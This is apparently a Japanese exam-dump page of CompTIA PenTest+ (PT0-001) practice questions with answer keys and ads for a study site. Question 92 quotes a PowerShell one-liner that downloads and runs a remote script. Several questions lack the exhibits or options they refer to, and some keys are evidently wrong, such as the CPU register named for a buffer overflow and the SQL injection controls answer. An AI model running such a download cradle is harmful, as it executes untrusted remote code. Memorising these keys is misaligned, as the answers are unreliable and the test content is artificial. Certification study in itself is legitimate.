[更新されたのは2023年]CompTIA PT0-001問題準備には無料サンプルのPDF
2023年最新の認定サンプル問題PT0-001問題集と練習試験合格させます
質問 # 80
A penetration tester is performing initial intelligence gathering on some remote hosts prior to conducting a vulnerability scan.
The tester runs the following command:
nmap -p 192.168.1.1, 192.168.1.2, 192.168.1.3 -sV -o --max-rate 2 192.168.1.130 Which of the following BEST describes why multiple IP addresses are specified?
- A. The tester is trying to perform a more stealthy scan by including several bogus addresses.
- B. The scanning machine has several interfaces to balance the scan request across at the specified rate.
- C. The network is subnetted as a/25 or greater, and the tester needed to access hosts on two different subnets.
- D. A discovery scan is run on the first set of addresses, whereas a deeper, more aggressive scan is run against the latter host.
正解：C
質問 # 81
Which of the following CPU register does the penetration tester need to overwrite in order to exploit a simple butter overflow?
- A. Stack base pointer
- B. Stack pointer register
- C. Destination index register
- D. Index pointer register
正解：C
質問 # 82
A penetration tester generates a report for a host-based vulnerability management agent that is running on a production web server to gather a list of running processes. The tester receives the following information.
Which of the following processes MOST likely demonstrates a lack of best practices?
- A. urlgrabber-ext
- B. dbus-daemon
- C. apache2
- D. systemd
正解：B
質問 # 83
A penetration tester executes the following commands:
Which of the following is a local host vulnerability that the attacker is exploiting?
- A. Shell escape
- B. Insecure file permissions
- C. Application whitelisting
- D. Writable service
正解：B
解説：
Explanation/Reference: https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#john-the-ripper---jtr
質問 # 84
During a penetration test, a tester runs a phishing campaign and receives a shell from an internal PC running Windows 10 OS. The tester wants to perform credential harvesting with Mimikazt. Which of the following registry changes would allow for credential caching in memory?
A)
B)
C)
D)
- A. Option A
- B. Option B
- C. Option D
- D. Option C
正解：C
質問 # 85
Black box penetration testing strategy provides the tester with:
- A. a target list
- B. privileged credentials
- C. a network diagram
- D. source code
正解：A
質問 # 86
A penetration tester is connected to a client's local network and wants to passively identify cleartext protocols and potentially sensitive data being communicated across the network. Which of the following is the BEST approach to take?
- A. Run a network vulnerability scan.
- B. Run an MITM attack.
- C. Run a port scan.
- D. Run a stress test.
正解：B
解説：
Explanation/Reference: https://www.sciencedirect.com/topics/computer-science/encrypted-protocol
質問 # 87
Instructions:
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
正解：
解説：
質問 # 88
A penetration tester has successfully exploited a Windows host with low privileges and found directories with the following permissions:
Which of the following should be performed to escalate the privileges?
- A. Writable services
- B. Migration of the shell to another process
- C. Retrieval of the SAM database
- D. Kerberoasting
正解：B
解説：
Explanation/Reference: https://book.hacktricks.xyz/windows/windows-local-privilege-escalation
質問 # 89
A system security engineer is preparing to conduct a security assessment of some new applications. The applications were provided to the engineer as a set that contains only JAR files. Which of the following would be the MOST detailed method to gather information on the inner working of these applications?
- A. Launch the applications and use dynamic software analysis tools, including fuzz testing
- B. Review the details and extensions of the certificate used to digitally sign the code and the application
- C. Use a static code analyzer on the JAR filet to look for code Quality deficiencies
- D. Decompile the applications to approximate source code and then conduct a manual review
正解：A
質問 # 90
After delivering a draft of a penetration test report, a development team has raised concerns about an issue categorized as "high." A cloud storage bucket is configured to allow read access to the public, but writing to objects within the bucket is restricted to authorized users. The bucket contains only publicly available images that can already be found on the application homepage. Which of the following severity levels should the penetration tester consider?
- A. Informational
- B. Low
- C. Critical
- D. Medium
正解：D
質問 # 91
A recently concluded penetration test revealed that a legacy web application is vulnerable lo SQL injection Research indicates that completely remediating the vulnerability would require an architectural change, and the stakeholders are not m a position to risk the availability of the application Under such circumstances, which of the following controls are low-effort, short-term solutions to minimize the SQL injection risk?
(Select TWO).
- A. Use a whitelist approach for SQL statements.
- B. Identify the source of malicious input and block the IP address.
- C. Use a blacklist approach for SQL statements.
- D. Identify and eliminate inline SQL statements from the code.
- E. Identify and sanitize all user inputs.
- F. Identify and eliminate dynamic SQL from stored procedures.
正解：A、C
質問 # 92
Consider the following PowerShell command:
powershell.exe IEX (New-Object Net.Webclient).downloadstring(http://site/ script.ps1");Invoke-Cmdlet Which of the following BEST describes the actions performed by this command?
- A. Run an encoded command.
- B. Instantiate an object.
- C. Set the execution policy.
- D. Execute a remote script.
正解：D
質問 # 93
A penetration tester reports an application is only utilizing basic authentication on an Internet-facing application. Which of the following would be the BEST remediation strategy?
- A. Encrypt the communication channel.
- B. Enable a secure cookie flag.
- C. Enable HTTP Strict Transport Security.
- D. Sanitize invalid user input.
正解：C
質問 # 94
Place each of the following passwords in order of complexity from least complex (1) to most complex (4), based on the character sets represented Each password may be used only once
正解：
解説：
Explanation
1.) Zverlory
2.) Zverl0ry
3.) zv3rl0ry
4.) Zv3r!0ry
質問 # 95
A penetration tester observes that the content security policy header is missing during a web application penetration test. Which of the following techniques would the penetration tester MOST likely perform?
- A. Remote file inclusion attack
- B. Command injection attack
- C. Directory traversal attack
- D. Clickjacking attack
正解：D
解説：
Explanation/Reference:
Reference: https://geekflare.com/http-header-implementation/
質問 # 96
A penetration tester has successfully deployed an evil twin and is starting to see some victim traffic. The next step the penetration tester wants to take is to capture all the victim web traffic unencrypted. Which of the following would BEST meet this goal?
- A. Perform an MITM attack.
- B. Harvest the user credentials to decrypt traffic.
- C. Perform an HTTP downgrade attack.
- D. Implement a CA attack by impersonating trusted CAs.
正解：C
質問 # 97
A penetration tester calls human resources and begins asking open-ended questions Which of the following social engineering techniques is the penetration tester using?
- A. Interrogation
- B. Spear phishing
- C. Impersonation
- D. Elicitation
正解：D
質問 # 98
When calculating the sales price of a penetration test to a client, which of the following is the MOST important aspect to understand?
- A. The operating cost
- B. The required scope of work
- C. The client's budget
- D. The non-disclosure agreement
正解：B
質問 # 99
A penetration tester discovers an anonymous FTP server that is sharing the C:\drive. Which of the following is the BEST exploit?
- A. Download, modify, and reupload a compromised registry to obtain code execution.
- B. Change a service binary location path to point to the tester's own payload.
- C. Place a batch script in the startup folder for all users.
- D. Escalate the tester's privileges to SYSTEM using the at.exe command.
正解：B
質問 # 100
Which of the following tools is used to perform a credential brute force attack?
- A. John the Ripper
- B. Hashcat
- C. Hydra
- D. Peach
正解：C
解説：
Reference https://www.greycampus.com/blog/information-security/brute-force-attacks-prominent-tools-totackle-such-attacks
質問 # 101
A client needs to be PCI compliant and has external-facing web servers. Which of the following CVSS vulnerability scores would automatically bring the client out of compliance standards such as PCI 3.x?
- A. 4.0
- B. 2.9
- C. 3.0
- D. 5.9
正解：A
質問 # 102
A penetration tester observes that the content security policy header is missing during a web application penetration test. Which of the following techniques would the penetration tester MOST likely perform?
- A. Remote file inclusion attack
- B. Command injection attack
- C. Directory traversal attack
- D. Clickjacking attack
正解：D
解説：
Explanation
References: https://geekflare.com/http-header-implementation/
質問 # 103
Which of the following situations would cause a penetration tester to communicate with a system owner/client during the course of a test? (Select TWO.)
- A. The system shows evidence of prior unauthorized compromise.
- B. The tester discovers a finding on an out-of-scope system.
- C. The system shows a lack of hardening throughout.
- D. The tester discovers personally identifiable data on the system.
- E. The system becomes unavailable following an attempted exploit.
正解：A、E
質問 # 104
......
PT0-001豪華セット学習ガイドにはオンライン試験エンジン：https://www.jpntest.com/shiken/PT0-001-mondaishu
PT0-001テスト準備トレーニング練習試験問題練習テスト：https://drive.google.com/open?id=1VaxyhwK7M4uq5w_2m9fNwylZeyjlHWS7